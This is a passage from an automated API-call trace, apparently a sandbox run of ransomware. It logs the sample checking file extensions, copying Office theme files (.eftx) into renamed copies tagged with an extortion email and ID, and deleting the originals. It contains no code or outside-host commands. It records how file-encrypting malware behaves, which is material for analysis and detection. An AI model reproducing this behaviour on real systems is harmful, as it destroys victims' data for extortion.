(lpString1=".xls", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString=".xlsx") returned 5 [0244.638] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.638] lstrlenW (lpString=".ppt") returned 4 [0244.638] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.638] lstrlenW (lpString=".zip") returned 4 [0244.638] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString=".rar") returned 4 [0244.638] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString=".bz2") returned 4 [0244.638] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString=".7z") returned 3 [0244.638] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString=".dbf") returned 4 [0244.639] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString=".1cd") returned 4 [0244.639] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString=".jpg") returned 4 [0244.639] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString=".doc") returned 4 [0244.639] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString=".docx") returned 5 [0244.639] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.639] lstrlenW (lpString=".pdf") returned 4 [0244.639] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString=".xls") returned 4 [0244.639] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString=".xlsx") returned 5 [0244.639] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.639] lstrlenW (lpString=".ppt") returned 4 [0244.639] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString=".zip") returned 4 [0244.639] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString=".rar") returned 4 [0244.639] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString=".bz2") returned 4 [0244.639] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString=".7z") returned 3 [0244.639] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.639] lstrlenW (lpString=".dbf") returned 4 [0244.639] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.640] lstrlenW (lpString=".1cd") returned 4 [0244.640] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.640] lstrlenW (lpString=".jpg") returned 4 [0244.640] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.699] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.699] lstrlenW (lpString="Newsprint.eftx") returned 14 [0244.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.702] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=582401) returned 1 [0244.702] CloseHandle (hObject=0x360) returned 1 [0244.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0244.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.702] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.702] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.703] GetLastError () returned 0x0 [0244.703] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x8e301, lpOverlapped=0x0) returned 1 [0244.716] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0244.727] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.727] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0244.727] SetEndOfFile (hFile=0x398) returned 1 [0244.727] CloseHandle (hObject=0x398) returned 1 [0244.727] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.727] SetEndOfFile (hFile=0x360) returned 1 [0245.030] CloseHandle (hObject=0x360) returned 1 [0245.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0245.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.118] lstrlenW (lpString=".doc") returned 4 [0245.118] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.118] lstrlenW (lpString=".docx") returned 5 [0245.118] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.118] lstrlenW (lpString=".pdf") returned 4 [0245.118] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.118] lstrlenW (lpString=".xls") returned 4 [0245.118] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.118] lstrlenW (lpString=".xlsx") returned 5 [0245.118] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.118] lstrlenW (lpString=".ppt") returned 4 [0245.118] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString=".zip") returned 4 [0245.119] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString=".rar") returned 4 [0245.119] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString=".bz2") returned 4 [0245.119] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString=".7z") returned 3 [0245.119] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString=".dbf") returned 4 [0245.119] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString=".1cd") returned 4 [0245.119] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString=".jpg") returned 4 [0245.119] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString=".doc") returned 4 [0245.119] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString=".docx") returned 5 [0245.119] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.119] lstrlenW (lpString=".pdf") returned 4 [0245.119] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString=".xls") returned 4 [0245.119] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString=".xlsx") returned 5 [0245.119] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.119] lstrlenW (lpString=".ppt") returned 4 [0245.119] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.119] lstrlenW (lpString=".zip") returned 4 [0245.120] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.120] lstrlenW (lpString=".rar") returned 4 [0245.120] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.120] lstrlenW (lpString=".bz2") returned 4 [0245.120] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.120] lstrlenW (lpString=".7z") returned 3 [0245.120] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.120] lstrlenW (lpString=".dbf") returned 4 [0245.120] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.120] lstrlenW (lpString=".1cd") returned 4 [0245.120] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0245.120] lstrlenW (lpString=".jpg") returned 4 [0245.120] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.120] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.120] lstrlenW (lpString="Technic.eftx") returned 12 [0245.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0245.137] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=23692) returned 1 [0245.137] CloseHandle (hObject=0x20c) returned 1 [0245.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0245.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.215] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.215] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.216] GetLastError () returned 0x0 [0245.216] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0245.218] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0245.219] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.219] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.219] SetEndOfFile (hFile=0x37c) returned 1 [0245.219] CloseHandle (hObject=0x37c) returned 1 [0245.219] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.219] SetEndOfFile (hFile=0x3a8) returned 1 [0245.223] CloseHandle (hObject=0x3a8) returned 1 [0245.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.224] lstrlenW (lpString=".doc") returned 4 [0245.224] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString=".docx") returned 5 [0245.224] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.224] lstrlenW (lpString=".pdf") returned 4 [0245.224] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString=".xls") returned 4 [0245.224] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString=".xlsx") returned 5 [0245.224] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.224] lstrlenW (lpString=".ppt") returned 4 [0245.224] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.224] lstrlenW (lpString=".zip") returned 4 [0245.224] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString=".rar") returned 4 [0245.224] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString=".bz2") returned 4 [0245.224] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString=".7z") returned 3 [0245.224] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.224] lstrlenW (lpString=".dbf") returned 4 [0245.224] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.224] lstrlenW (lpString=".1cd") returned 4 [0245.224] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.224] lstrlenW (lpString=".jpg") returned 4 [0245.224] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.225] lstrlenW (lpString=".doc") returned 4 [0245.225] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString=".docx") returned 5 [0245.225] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.225] lstrlenW (lpString=".pdf") returned 4 [0245.225] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString=".xls") returned 4 [0245.225] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString=".xlsx") returned 5 [0245.225] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.225] lstrlenW (lpString=".ppt") returned 4 [0245.225] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.225] lstrlenW (lpString=".zip") returned 4 [0245.225] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString=".rar") returned 4 [0245.225] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString=".bz2") returned 4 [0245.225] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString=".7z") returned 3 [0245.225] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.225] lstrlenW (lpString=".dbf") returned 4 [0245.225] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.225] lstrlenW (lpString=".1cd") returned 4 [0245.225] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0245.225] lstrlenW (lpString=".jpg") returned 4 [0245.225] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.226] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.226] lstrlenW (lpString="Trek.eftx") returned 9 [0245.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.227] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=129924) returned 1 [0245.227] CloseHandle (hObject=0x3a8) returned 1 [0245.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0245.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.227] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.227] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.228] GetLastError () returned 0x0 [0245.228] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0245.233] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0245.236] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.236] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0245.236] SetEndOfFile (hFile=0x37c) returned 1 [0245.236] CloseHandle (hObject=0x37c) returned 1 [0245.236] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.236] SetEndOfFile (hFile=0x3a8) returned 1 [0245.241] CloseHandle (hObject=0x3a8) returned 1 [0245.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.242] lstrlenW (lpString=".doc") returned 4 [0245.242] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".docx") returned 5 [0245.242] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.242] lstrlenW (lpString=".pdf") returned 4 [0245.242] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".xls") returned 4 [0245.242] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".xlsx") returned 5 [0245.242] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.242] lstrlenW (lpString=".ppt") returned 4 [0245.242] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.242] lstrlenW (lpString=".zip") returned 4 [0245.242] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".rar") returned 4 [0245.242] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".bz2") returned 4 [0245.242] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString=".7z") returned 3 [0245.242] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.242] lstrlenW 